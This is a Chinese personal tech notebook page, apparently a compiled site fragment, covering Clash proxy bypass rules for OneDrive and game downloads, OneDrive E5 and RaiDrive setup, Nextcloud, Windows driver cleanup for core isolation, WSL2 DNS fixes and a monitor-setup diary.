+- "docs.live.net"
+- "*.docs.live.net"
+- "policies.live.net"
+- "*.policies.live.net"
+- "settings.live.net"
+- "*.settings.live.net"
+- "skyapi.live.net"
+- "snapi.live.net"
+- "*.livefilestore.com"
+- "*.*.livefilestore.com"
+- "storage.msn.com"
+- "*.storage.msn.com"
+- "*.*.storage.msn.com"
+
+
如下是正文内容:
有时候挂了全局代理后, OneDrive 客户端会一直转 "正在登录", 没有找到具体原因, 猜测可能和账户区域有关, 挂了代理反而登不上去了
TODO: 下次开机抓一下 OneDrive 客户端的流量, 把相关域名 bypass 下
PS: 感觉直接拿
在虚拟机里挂代理看了一下大概是这些
Bypass 一下 login.microsoftonline.com
应该就可以了, 另外一个 aadcdn.msauth.net
是 Microsoft Azure Active Directory CDN 的一部分, 用于 MS365 的激活与验证
PS: 用于实验的美区账户挂代理是能正常登录的:
用 Fiddler 又抓到了另一个域名 odc.officeapps.live.com
PS: 需要注意的是开启了 Fiddler 会屏蔽掉 Clash 的全局代理(
这是 MS365 在线预览和编辑的域名
Bypass 了这些域名后发现加载过程中又出现了其他一堆域名, 因此放弃手动抓了, 再寻找下网上的材料, 参考了如下两篇文章 Bypass 了一些域名最终可以成功登入国区账户了
`,17),he={href:"https://learn.microsoft.com/zh-cn/sharepoint/required-urls-and-ports",target:"_blank",rel:"noopener noreferrer"},me={href:"https://www.zhihu.com/question/414671076",target:"_blank",rel:"noopener noreferrer"},ge=e("p",null,"在这个过程中还遇到了 Clash System Proxy 打不开的情况, 最终发现是 Bypass yaml 里有些域名写错了, 不是域名的格式, 把有些无关字符串当域名格式写了, 修正过来就恢复了",-1),be={href:"https://github.com/Fndroid/clash_for_windows_pkg/issues/1105",target:"_blank",rel:"noopener noreferrer"},ve=e("p",null,"具体 Bypass 方案参见章节开头~",-1),_e=e("hr",null,null,-1),ke=e("h3",{id:"e5",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#e5","aria-hidden":"true"},"#"),n(" E5")],-1),fe={href:"https://www.bilibili.com/video/BV1B7411C7wb",target:"_blank",rel:"noopener noreferrer"},Ee=e("hr",null,null,-1),ye=e("li",null,[e("p",null,"E5开发者账号是E3账号的升级版,可免费续期并体验Office365的全部功能")],-1),xe=e("li",null,[e("p",null,"OD的单子账户容量最高15T,理论上可以注册25个子账户")],-1),Be=e("hr",null,null,-1),qe=e("h4",{id:"申请流程",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#申请流程","aria-hidden":"true"},"#"),n(" 申请流程")],-1),Ae={href:"https://developer.microsoft.com/zh-cn/",target:"_blank",rel:"noopener noreferrer"},we=e("br",null,null,-1),De=e("img",{src:"http://cdn.ayusummer233.top/img/20210403092546.png",alt:"20210403092546"},null,-1),Ce=t('加入开发人员计划 填写基本信息并进入下一步 国家选中国(否则国内连接服务器延迟可能会很高),企业随便填 下一步的信息按照自己的实际情况填写即可 设置开发者订阅 验证个人信息,密码,手机号 转到订阅进行进一步设置 进入OD ',5),Pe={href:"https://admin.microsoft.com/Adminportal/Home?source=applauncher#/users",target:"_blank",rel:"noopener noreferrer"},Se=e("ul",null,[e("li",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20210403095449.png",alt:"20210403095449"})]),e("li",null,"更改空间即可"),e("li",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20210403095727.png",alt:"20210403095727"})])],-1),Ne=e("li",null,[n("每个E5账号可以注册25个子账号,除去管理员和一个空子账号有23个账号 "),e("ul",null,[e("li",null,"当子账号>5 && 每个子账号的OD容量只剩0.5T时可以向微软提交工单扩容到25T")])],-1),Me=e("hr",null,null,-1),Fe=e("h4",{id:"续期",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#续期","aria-hidden":"true"},"#"),n(" 续期")],-1),We=e("ul",null,[e("li",null,"理论上只需要调用Office365的API,可以部署OneIndex或者Cloudreve"),e("li",null,"绑定 Github 账号并保持活跃")],-1),Te=e("hr",null,null,-1),Ue=e("h6",{id:"oneindex",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#oneindex","aria-hidden":"true"},"#"),n(" OneIndex")],-1),Ie={href:"https://www.bilibili.com/video/BV1T64y1u7Z5",target:"_blank",rel:"noopener noreferrer"},ze=t(`自己懒得搭了( 配合本地OneDriveBusiness当同步分享盘了
同步目录空格路径解决 默认情况下 OneDrive 的同步目录根目录所在文件夹名称是 OneDrive - 组织名称
的形式, 中间是有两个空格的, 这可太不优雅了, 可以通过创建符号链接的形式来解决这个问题 管理员模式打开 CMD
执行如下指令:
+mklink /J OneDriveE5\\ mix "E:\\OneDriveE5\\mixon\\OneDrive - ayusummer"
+
OneDriveE5\\mix
目录在执行完命令后会自动创建 将云盘挂载到本地(RaiDrive) `,8),Oe=t('云盘支持
Personal
: GoogleDrive, OneDrive
, Dropbox, Box, MEGA, PCloud, YandexDisk, Mail.ru.Cloud, GooglePhotos
基本都要挂代理,OneDrive看个人情况,我这边是无法直连的
Business
: Google Shared drives, OneDrive
, DropBox
, SharePoint
Enterprise
: AWS S3, Azure Storage, Google Cloud Storage, Naver Object Storage, Alibaba Object Storage
, Wasabi Object Storage, IBM Object Storage
NAS
: WebDAV
, SFTP
, FTP
, Nextcloud
, Synology(群晖)
, ASUSTOR(华硕)
, QNAP(威联通)
, ipTIME
效果:
',2),Ge={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EY5FYay5Go1En2aduguGoIsBErdJ8QCQT_r4BwxspAB7qw?e=VFsSSc",target:"_blank",rel:"noopener noreferrer"},Xe=e("br",null,null,-1),Ve=e("img",{src:"http://cdn.ayusummer233.top/img/20210404203117.png",alt:"20210404203117"},null,-1),Le={href:"https://www.raidrive.com/",target:"_blank",rel:"noopener noreferrer"},He=e("hr",null,null,-1),Re=e("ul",null,[e("li",null,[n("安装完后点击工具栏中的"),e("code",null,"添加"),n("按钮进行添加,点击确定后会弹出登录界面,按照你要挂载云盘的账号登录并授权即可"),e("br"),e("img",{src:"http://cdn.ayusummer233.top/img/20210405192941.png",alt:"20210405192941"})])],-1),je=e("blockquote",null,[e("p",null,"我这里用的是E5开发者订阅里的OneDrive Business,墙内是可以直连的,不用挂代理;")],-1),Ye=e("hr",null,null,-1),Qe={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EdWtKYYX0yRMrz5J8JLHEhMBRUPM_9xJu00VVpxWUCc_Uw?e=i8cZt2",target:"_blank",rel:"noopener noreferrer"},Je=e("img",{src:"http://cdn.ayusummer233.top/img/20210405195251.png",alt:"20210405195251"},null,-1),Ke=e("hr",null,null,-1),Ze=e("h3",{id:"微软商店中的icloud",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#微软商店中的icloud","aria-hidden":"true"},"#"),n(" 微软商店中的iCloud")],-1),$e=e("ul",null,[e("li",null,"有点糟心,Microsoft Store里下载的iCloud只能装在系统盘,并且没有找到有效的方法能够将其移到非系统盘")],-1),en=e("br",null,null,-1),nn=e("br",null,null,-1),sn={href:"https://www.zhihu.com/question/393865503/answer/1307730087",target:"_blank",rel:"noopener noreferrer"},an=e("hr",null,null,-1),tn=e("h3",{id:"cloudreve",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#cloudreve","aria-hidden":"true"},"#"),n(" Cloudreve")],-1),on={href:"https://docs.cloudreve.org/getting-started/install",target:"_blank",rel:"noopener noreferrer"},ln=t(' WebDav 使用 可用于双向同步云盘和本地文件, 需要使用第三方 Webdav 客户端 Raidrive
首先需要在浏览器 cloudreve 页面的 WebDAV 选项卡添加账户, 并记住提示中的 地址和登录名以及新建账号的密码
然后打开 Raidrive 配置下 WebDAV 挂载
然后就可以在文件资源管理器中看到了
Nextcloud 服务器搭建 ',12),rn={href:"https://github.com/nextcloud/all-in-one#nextcloud-all-in-one",target:"_blank",rel:"noopener noreferrer"},cn=t(`ubuntu:
sudo snap install nextcloud
+
安装完成后访问 80 端口配置管理员账密即可使用
配置 当有多张网卡时, 似乎默认情况下只允许了第一张网卡访问 web 页面, 可以手动到 /var/snap/nextcloud/current/nextcloud/config/config.php
配置 trusted_domains
以允许通过其他网卡访问web
'trusted_domains' =>
+ array (
+ 0 => '10.10.10.21' ,
+ 1 => '192.168.1.21' ,
+ ) ,
+
同步 使用云盘与 Git 管理使用本地图片的 Markdown 文件 创建软连接指向 assets 目录然后创建硬链接指向 Markdown 文件, 在 .gitignore
中忽略 .assets
即可
mklink /D [git仓库中指定的assets目录] [原始assets目录]
+mklink /H [git仓库中指定的Markdown文档路径] [原始Markdown文档路径]
+
其中 git仓库中指定的目录都是不存在的, 命令执行完后会自动创建
链接完目录与文件后可以在 git 仓库变动中看到链接后的 assets 目录看上去像是个文件, 然后在 .gitignore
中将其忽略即可
Microsoft Edge 扩展 默认安装目录 : C:\\Users\\用户名\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions
Windows 内核隔离 `,23),dn={href:"https://mos86.com/95722.html",target:"_blank",rel:"noopener noreferrer"},pn=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218173047.png",alt:"20211218173047-内核隔离警告"})],-1),un=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218173109.png",alt:"20211218173109-不兼容驱动"})],-1),hn=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218180744.png",alt:"20211218180744-不兼容驱动详细信息"})],-1),mn={href:"https://administrator.pro/tutorial/windows-10-core-isolation-remove-incompatible-drivers-769558697.html",target:"_blank",rel:"noopener noreferrer"},gn=e("br",null,null,-1),bn={href:"https://answers.microsoft.com/en-us/windows/forum/all/core-isolation-memory-integrity-not-turning-on/d49ca385-77a8-4390-a4e1-b96224ba3fee?auth=1",target:"_blank",rel:"noopener noreferrer"},vn=e("br",null,null,-1),_n={href:"https://docs.microsoft.com/zh-cn/windows-hardware/drivers/devtest/pnputil-command-syntax",target:"_blank",rel:"noopener noreferrer"},kn=e("br",null,null,-1),fn={href:"https://docs.microsoft.com/zh-cn/windows-hardware/drivers/devtest/pnputil-examples",target:"_blank",rel:"noopener noreferrer"},En=t(`mark 下上面每个不兼容驱动的 发布名称
管理员模式打开 powershell
, 可以先查看下驱动列表
筛下不兼容驱动的相关信息
发布名称: oem61.inf
+原始名称: ew_usbccgpfilter.inf
+提供程序名称: Huawei
+类名: USB
+类 GUID: { 36fc9e60-c465-11cf-8056-444553540000}
+驱动程序版本: 05/18/2016 1.0 .9.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem91.inf
+原始名称: hw_cdcacm.inf
+提供程序名称: HUAWEI Technologies CO.,LTD
+类名: Ports
+类 GUID: { 4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 05/18/2016 1.0 .26.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem62.inf
+原始名称: hw_quser.inf
+提供程序名称: Huawei Incorporated
+类名: Ports
+类 GUID: { 4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 11 /28/2016 2.0 .6.725
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem34.inf
+原始名称: hw_usbdev.inf
+提供程序名称: Huawei Incorporated
+类名: Ports
+类 GUID: { 4d36e978-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 04/20/2012 1.3 .0.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem116.inf
+原始名称: hw_cdcmdm.inf
+提供程序名称: HUAWEI Technologies Co.,LTD
+类名: Modem
+类 GUID: { 4d36e96d-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 11 /28/2016 1.0 .26.0
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
+发布名称: oem110.inf
+原始名称: hw_qumdm.inf
+提供程序名称: Huawei Incorporated
+类名: Modem
+类 GUID: { 4d36e96d-e325-11ce-bfc1-08002be10318}
+驱动程序版本: 05/18/2016 2.0 .6.725
+签名者姓名: Microsoft Windows Hardware Compatibility Publisher
+
执行如下命令删除相应驱动程序包
pnputil /delete-driver oem61.inf
+pnputil /delete-driver oem91.inf
+pnputil /delete-driver oem62.inf
+pnputil /delete-driver oem34.inf
+pnputil /delete-driver oem116.inf
+pnputil /delete-driver oem110.inf
+
重新扫描
这两个驱动实在找不到(, 驱动检测里没有, C:\\Windows\\System32\\DriverStore\\FileRepository
也没有
`,12),yn={href:"https://dnf.gamebbs.qq.com/thread-1362897-1-1.html",target:"_blank",rel:"noopener noreferrer"},xn=t('打开 C:\\Windows\\System32\\drivers
可以找到 TesMon.sys
删除 TesMon.sys
然后重新重新扫描
在 C:\\Windows\\System32
目录下, everything
检索结果中的另一个也出现在了其属性中的 "原始名称"字段中, 且检索资料时也有说这个文件导致崩崩崩游戏蓝屏之类, 所以将此文件剪切到其他目录再重新扫描试试, 后面如果有关于此文件的报错再将其放回去
',10),Bn={href:"https://mos86.com/95722.html",target:"_blank",rel:"noopener noreferrer"},qn=e("br",null,null,-1),An=e("p",null,"重启计算机, 检查下是否有虚拟机运行异常",-1),wn=e("blockquote",null,[e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218194344.png",alt:"20211218194344"}),e("br"),n(" 基于 Hyper-V 的 BlueStacks 模拟器运行正常"),e("br"),e("strong",null,"WSL2 异常")])],-1),Dn=e("hr",null,null,-1),Cn=e("h6",{id:"wsl2-dns-服务异常",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#wsl2-dns-服务异常","aria-hidden":"true"},"#"),n(" WSL2 DNS 服务异常")],-1),Pn=e("p",null,"无法正确解析域名, 直接 ping ip 可以 ping 通, 排查了一圈发现主网也 ping 不通",-1),Sn={href:"https://blog.csdn.net/daihaoxin/article/details/115978662",target:"_blank",rel:"noopener noreferrer"},Nn=t('
配置主网防火墙入站规则
规则类型: 自定义 程序: 所有程序 协议和端口: 默认值不做改动 作用域: 此规则适用于哪些本地 IP 地址?: 下列 IP 地址 -> 添加 -> 此 ip 地址或子网: 172.22.0.0/20
操作: 允许连接 配置文件: 全选 名称自定义 然后在 WSL2 里重新 ping 主网又能 ping 通了, DNS 也正常了, 可以 ping 同其他域名了
缺点在于计算机重启后 WSL2 主网地址可能会变( 需要再配下防火墙 挺秃然的, 没有完全搞清楚原理, 无法一劳永逸地解决这个问题
针对某一软件关闭用户账户控制 ',8),Mn={href:"https://zhidao.baidu.com/question/295265277.html",target:"_blank",rel:"noopener noreferrer"},Fn=t(`当设置了应用以管理员身份运行时, 在运行应用时会弹出一个用户账户控制的弹窗, 你要允许此应用对你的设备进行更改吗?
, 用户只有点击 是
之后才能正常运行应用, 对于一个已经设置了以管理员身份运行的应用要跳过此步的话可以做如下操作
打开注册表编辑器在 HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers
下新建值
值的名称是程序的绝对路径 值数据时 RunAsInvoker
命令行重启文件资源管理器 Windows 的任务栏和文件资源管理器(Explorer) 是一体的, 因此如果出现了任务栏莫名卡死或者消失的问题时可以在任务管理器中找到文件资源管理器并重启
有时候可能在任务管理器中没能找到文件资源管理器, 或者查找比较困难, 那么此时也可以使用命令行或者 powershell 来终止并启动 explorer
+taskkill / IM explorer. exe / F
+
+explorer
+
你需要来自 S-1-5-21-XXXX-XXX-XXX 的权限才能对此文件夹进行更改 `,11),Wn={href:"https://answers.microsoft.com/zh-hans/windows/forum/all/%E4%BD%A0%E9%9C%80%E8%A6%81%E6%9D%A5%E8%87%AA-s-1/8fab1a9a-412a-44f9-915b-6743d8b8dffb",target:"_blank",rel:"noopener noreferrer"},Tn={href:"https://www.xitongcheng.com/jiaocheng/win10_article_14750.html",target:"_blank",rel:"noopener noreferrer"},Un=e("p",null,"重装系统但是没格式化其他盘符, 在同步 Onedrive 时发现没有文件操作权限, 尝试删除提示需要来自 S-1-5-21-xxxx 的权限才能删除, 猜测是原本系统用户创建的文件, 在系统被扬了之后用户找不到了就变成 S-1-5-xx 这种不可读的形式了",-1),In=e("p",null,[n("解决方案为 "),e("code",null,"右键文件夹->属性->安全->高级"),n(" 可以看到所有者是 "),e("code",null,"S-1-5-xxx"),n(", 勾选")],-1),zn=e("hr",null,null,-1),On=e("hr",null,null,-1),Gn=e("h2",{id:"图片ocr-表格",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#图片ocr-表格","aria-hidden":"true"},"#"),n(" 图片OCR->表格")],-1),Xn={href:"https://web.baimiaoapp.com/image-to-excel",target:"_blank",rel:"noopener noreferrer"},Vn=e("hr",null,null,-1),Ln=e("h2",{id:"clash",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#clash","aria-hidden":"true"},"#"),n(" clash")],-1),Hn={href:"https://github.com/Dreamacro/clash",target:"_blank",rel:"noopener noreferrer"},Rn=e("br",null,null,-1),jn={href:"https://github.com/Dreamacro/clash-dashboard",target:"_blank",rel:"noopener noreferrer"},Yn={href:"https://www.alvinkwok.cn/2022/01/29/2022/01/Clash%20For%20Linux%20Install%20Guide/",target:"_blank",rel:"noopener noreferrer"},Qn=e("hr",null,null,-1),Jn={href:"https://clashdingyue.tk/2022/06/%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEClash-For-Windows/",target:"_blank",rel:"noopener noreferrer"},Kn={href:"https://cornradio.github.io/hugo/posts/4minxin-howtouse/",target:"_blank",rel:"noopener noreferrer"},Zn={href:"https://cornradio.github.io/hugo/posts/%E8%AE%A9steam%E7%BB%95%E8%BF%87clash%E7%B3%BB%E7%BB%9F%E4%BB%A3%E7%90%86/",target:"_blank",rel:"noopener noreferrer"},$n=e("hr",null,null,-1),es={href:"https://www.freebuf.com/vuls/323348.html",target:"_blank",rel:"noopener noreferrer"},ns=t("Clash Version <= V0.19.8
存在 RCE 漏洞 , 建议升级到 V0.19.10
及以上版本
Windows 端的配置比较方便, Linux 端主要需要注意普通用户和root用户的区别以及需要多配置一个 dashboard 来管理
下面主要记录下 ubuntu 上使用 clash 的随笔
需要注意的是, 使用不同的用户进行操作生成的配置文件会在对应用户的 .config
目录下, 如下记录的是使用 root 用户登录时进行的操作(SSH 链接的 ubuntu 设备, 习惯了 root; 相应的桌面端的话一般是普通用户)
在 /root/.config/
目录下新建一个 clash
目录
",6),ss={href:"https://github.com/Dreamacro/clash/releases",target:"_blank",rel:"noopener noreferrer"},as={href:"https://github.com/Dreamacro/clash/releases/download/v1.13.0/clash-linux-amd64-v1.13.0.gz",target:"_blank",rel:"noopener noreferrer"},ts=t(`
+gunzip clash-linux-amd64-v1.13.0.gz
+chmod u+x clash-linux-amd64-v1.13.0
+
clone dashboard 仓库并切换到 gh-pages 分支:
git clone https://github.com/Dreamacro/clash-dashboard.git
+cd clash-dashboard
+git checkout -b gh-pages origin/gh-pages
+
尝试过使用镜像 clone, 但是在 git checkout -b gh-pages origin/gh-pages
这步会报错找不到 origin/gh-pages
分支, 由于裸连能 clone 下来所以没再处理
下载配置信息
sudo wget -O config.yaml [ 订阅链接]
+sudo wget -O Country.mmdb https://www.sub-speeder.com/client-download/Country.mmdb
+
编辑 config.yaml
的如下三个属性, 分别对应页面端口, 访问密钥以及页面所在目录
external-controller : '0.0.0.0:9090'
+secret : 'xxxxxxx'
+external-ui : '/root/.config/clash/clash-dashboard'
+
尝试运行 clash
screen -S clash
+./clash-linux-amd64-v1.13.0
+
访问 [ip]:[port]/ui
输入密钥登入
到这里没问题的话就可以配置下系统代理了
有些程序不走系统代理,需要单独配置,比如 git, 需要单独进行配置
git config --global http.proxy "http://127.0.0.1:7890"
+
pip 报错 ValueError: check_hostname requires server_hostname
解决方案: 打开该项配置:
`,21),is={href:"https://github.com/python/cpython/pull/26307",target:"_blank",rel:"noopener noreferrer"},os=e("p",null,"开了之后就正常了:",-1),ls=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190000747.png",alt:"image-20230719000057721"})],-1),rs=e("hr",null,null,-1),cs=e("hr",null,null,-1),ds=e("h3",{id:"tun-mode",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#tun-mode","aria-hidden":"true"},"#"),n(" TUN Mode")],-1),ps={href:"https://docs.cfw.lbyczf.com/contents/tun.html",target:"_blank",rel:"noopener noreferrer"},us={href:"https://clashdingyue.tk/2022/06/%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEClash-For-Windows/",target:"_blank",rel:"noopener noreferrer"},hs={href:"https://blog.dejavu.moe/posts/cfw-tun/",target:"_blank",rel:"noopener noreferrer"},ms=e("p",null,"Clash 有三种代理模式",-1),gs=t("系统代理模式
最简单的一种模式,只需要开启系统代理的开关即可。 但是有些软件不走系统代理,因此这种模式适合普通用户,平常用浏览器进行科学上网的。 Clash Tap Device模式
Clash TUN Mode模式
TUN 是 三层设备
,模拟一个网络层设备,操作 第三层 数据包比如 IP 数据包,TUN 虚拟网卡实现 IP 层隧道
Tun 模式通过新建一个 Tun 虚拟网卡接受操作系统的三层浏览流量,从而拓展 Clash 入口(inbound)转发能力,Tun 模式可以提升 Clash 处理 UDP 流量的能力,可以劫持任何三层流量,实现 DNS 劫持也是轻而易举,并且它与部分操作系统的网络栈结合也非常好,可以提升利用 iptables 等组件的能力
对于不遵循系统代理的软件,TUN 模式可以接管其流量并交由 CFW 处理,在 Windows 中,TUN 模式性能比 TAP 模式好
注意
: 近期大部分浏览器默认已经开启“安全 DNS ”功能,此功能会影响 TUN 模式劫持 DNS 请求导致反推域名失败,请在浏览器设置中关闭此功能以保证 TUN 模式正常运行
",3),bs=e("p",null,"什么情况下需要开启TAP/TUN ?",-1),vs=e("li",null,"在使用一些游戏软件需要加速,或者一些不遵循系统代理的软件时,需要开启 TAP/TUN 模式。",-1),_s=e("li",null,"专业用户,例如IT、开发人员,需要经常操作终端,使用开发软件,用到Linux子系统的建议使用TUN模式。",-1),ks=e("li",null,"其实大部分软件都走系统代理,例如浏览器,但是有些不走系统代理,例如某些游戏,Git等。平时使用浏览器翻墙,比如访问google网站,或者使用一些遵循系统代理的软件时,不需要开启 TAP/TUN 模式。建议直接使用系统代理模式。",-1),fs=e("code",null,"UWP Loopback",-1),Es=e("code",null,"Fiddler Web Debuger",-1),ys={href:"https://blog.dejavu.moe/posts/git-npm-yarn-proxy/",target:"_blank",rel:"noopener noreferrer"},xs=e("li",null,[e("mark",null,"在使用局域网VPN时"),n(", 如果同时启用了 TUN Mode 可能会导致网络异常, 此时建议使用 System Proxy")],-1),Bs=e("p",null,[n("启用 TUN Mode("),e("code",null,"0.19.27"),n("以上版本)")],-1),qs=e("code",null,"General",-1),As=e("code",null,"Service Mode",-1),ws=e("code",null,"Manage",-1),Ds=e("code",null,"绿色",-1),Cs={href:"https://docs.cfw.lbyczf.com/contents/questions.html#service-mode-%E6%97%A0%E6%B3%95%E5%AE%89%E8%A3%85-windows",target:"_blank",rel:"noopener noreferrer"},Ps={href:"https://github.com/Fndroid/clash_for_windows_pkg/issues/2839",target:"_blank",rel:"noopener noreferrer"},Ss=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190030213.png",alt:"image-20230719003009188"})],-1),Ns=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190030538.png",alt:"image-20230719003029472"})],-1),Ms=t('点击General
中TUN Mode
右边开关启动 TUN 模式
相应的需要关闭 System Proxy
, 如果装了 Tap Server 也需要相应 uninstall
, 因为三种模式之间可能会冲突
如果使用system
作为 TUN stack,需要同时在系统防火墙中将 clash core 放行,方法如下:
在0.19.27
及以上版本中,点击 Clash Core 版本号前的图标,并在 UAC 弹窗(若有)中允许运行,CFW 将自动配置对应的防火墙规则。
成功配置防火墙规则后该图标作为指示灯亮起。
',1),Fs=e("hr",null,null,-1),Ws=e("h3",{id:"mixin",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#mixin","aria-hidden":"true"},"#"),n(" Mixin")],-1),Ts={href:"https://docs.cfw.lbyczf.com/contents/mixin.html",target:"_blank",rel:"noopener noreferrer"},Us={href:"https://cornradio.github.io/hugo/posts/4clash-minxin-howtouse/",target:"_blank",rel:"noopener noreferrer"},Is=t(`简单说,mixin是一种混合配置的方式,你可以把自己的配置注入到“配置文件”中,这样就可以在一定程度上的自定义配置了,比如加入一些你自己的规则之类的。
例如:在配置文件中统一添加dns
字段,操作如下:
进入 Settings 页面
滚动至 Profile Mixin 栏
点击 YAML 右边 Edit 小字打开编辑界面
在修改编辑界面内容为:
mixin :
+ dns :
+ enable : true
+ listen : : 53
+ nameserver :
+ - 8.8.8.8
+
点击编辑器右下角保存
在启动或切换配置时,上面内容将会替换到原有配置文件中进行覆盖
TIP
配置文件内容不会被修改,混合行为只会发生在内存中
可以通过任务栏图标菜单开关这个行为
Bypass `,8),zs={href:"https://docs.cfw.lbyczf.com/contents/bypass.html",target:"_blank",rel:"noopener noreferrer"},Os={href:"https://github.com/Fndroid/clash_for_windows_pkg/issues/2035",target:"_blank",rel:"noopener noreferrer"},Gs={href:"https://cornradio.github.io/hugo/posts/%E8%AE%A9steam%E7%BB%95%E8%BF%87clash%E7%B3%BB%E7%BB%9F%E4%BB%A3%E7%90%86/",target:"_blank",rel:"noopener noreferrer"},Xs=t(`可以自定义系统代理需要绕过的域名或 IP, 常用于配置局域网域名不使用代理或是其他指定的不想使用代理的域名(例如Steam游戏下载)
一般情况下后台基本都会挂着 Clash, 然而当需要登 Steam 下游戏时, 如果当前代理的配置中相应域名走了 Proxy 那就比较耗流量且较慢(毕竟 Steam 下载设置中是可以设置国内地区的)
此时则可以修改
bypass :
+
+ - "steampipe.steamcontent.tnkjmec.com"
+ - "st.dl.eccdnx.com"
+ - "st.dl.bscstorage.net"
+ - "st.dl.pinyuncloud.com"
+ - "dl.steam.clngaa.com"
+ - "cdn.mileweb.cs.steampowered.com.8686c.com"
+ - "cdn-ws.content.steamchina.com"
+ - "cdn-qc.content.steamchina.com"
+ - "cdn-ali.content.steamchina.com"
+
+ - "*.steamcontent.com"
+
+ - "steamusercontent-a.akamaihd.net"
+
+ - "ssl-lvlt.cdn.ea.com"
+ - "origin-a.akamaihd.net"
+
+ - "client05.pdl.wow.battlenet.com.cn"
+ - "client02.pdl.wow.battlenet.com.cn"
+
+ - "level3.blizzard.com"
+ - "blzddist1-a.akamaihd.net"
+ - "blzddistkr1-a.akamaihd.net"
+ - "kr.cdn.blizzard.com"
+ - "us.cdn.blizzard.com"
+ - "eu.cdn.blizzard.com"
+
+ - "epicgames-download1-1251447533.file.myqcloud.com"
+
+ - "epicgames-download1.akamaized.net"
+ - "download.epicgames.com"
+ - "download2.epicgames.com"
+ - "download3.epicgames.com"
+ - "download4.epicgames.com"
+
+ - "gamedownloads-rockstargames-com.akamaized.net"
+
+ - "gog.qtlglb.com"
+
+ - "cdn.gog.com"
+ - "galaxy-client-update.gog.com"
+
桌面显示器屏幕使用体验 写这份随笔的时候已经入手 小米 34英寸 WQHD
这款带鱼屏一个月有余了, 实际体验下来确实比之前双屏三屏副屏的时候体验要好不少, 至少脖子没有那么不舒服了
最开始有副屏需求是为了能够边写代码边看文档, 但是笔记本 15.6 英寸的屏幕同时代码和文档两个窗口的话太挤, 要么代码看不全要么文档看不全, 最初尝鲜副屏没有太多预算, 于是花 236 在咸鱼淘了个 13.5 英寸 1080P 的 DIY 副屏
从无到有的体验还是比较奇妙的, 总的来说写代码的体验有了质的提升, 至少不用来回切屏了, 不过 DIY副屏驱动板拖着一根排线接着屏幕, 支架也是个 DIY 的塑料支架, 直到有一次在图书馆折了支架又裂了排线后有了换屏幕的想法, 再加上 13.6 英寸的屏幕感觉还是有些小, 于是又入了一个 23.8 英寸的 熊猫 PH24QA2
感觉屏幕素质还好, 不过这款显示器就无法竖起来放置了, 基本上都是斜着放置在左侧, 比起上一个可以竖起来放置的 13.6 英寸的 DIY 屏幕, 这款显示器的优势在于屏幕更大了, 可以放下更多的内容, 不过纵向长度感觉变短了
用过一段时间的左边是 23.8 英寸的显示器, 中间放个 15.6 英寸的笔记本, 右边竖起来放置一个 13.6 英寸 DIY 屏幕, 不过后面由于宿舍桌子长度有限且二人共用因此撤掉了右侧的 DIY 屏幕送给室友用了
用了一段时间后愈发觉得这个显示器别扭, 放文档的话为了减少脖子扭动的幅度一般会放在靠近笔记本屏幕的一侧贴半边, 不过这也就导致了显示器的左半侧使用是一个比较尴尬的地方, 我需要扭动脖子将近 60° 去看左半边的屏幕, 这对脖子太不友好了, 而且两个屏幕之前的大块空隙完全是视野无效区域, 就算是在显示器右半边看文档, 时间长了脖子还是会有些酸痛, 于是就有了入个大点的屏幕的想法, 于是在今年 2 月入了小米的这款 34 英寸的带鱼屏
宿舍桌面空间有限, 就把笔记本放在了桌面上层的书架格子上背过放置, 这样比较方便走线
左侧那个显示器拍摄当时是想出掉所以拿出来放在侧边准备截下参数和色域检测以及坏点检测之类的图的, 并不是与带鱼屏一起使用(而且也不想再大浮动扭脖子看另一个屏幕了
一个月的使用体验上来看, 带鱼屏对于我个人码代码方面还是比较友好的, 属于是折腾这么长时间以来使用体验最舒服的一次折腾 (当然也是最贵的一次(ಥ_ಥ)
windows 自带的分屏可以覆盖大多数应用场景
需要长时间使用单个窗口时一般将窗口防止屏幕中央占大块区域
比如 Typora 专注写一份文档
放在中间正对面部基本就不需要扭脖子了
写前端项目时我一般会打开 4 个窗口, 文档, 笔记, 调试页面, 编码页面
最开始用的是上图中的中间大块区域码代码两边一侧文档一侧笔记的分屏方式, 但是总感觉哪里不太对, 除了需要单独切出来调试界面外后来换用了另一种分屏方式后发现文档那屏宽度不太够, 有的博主的文章样式比较怪, 横向全显示不支持滚动, 有的则是代码看不全;
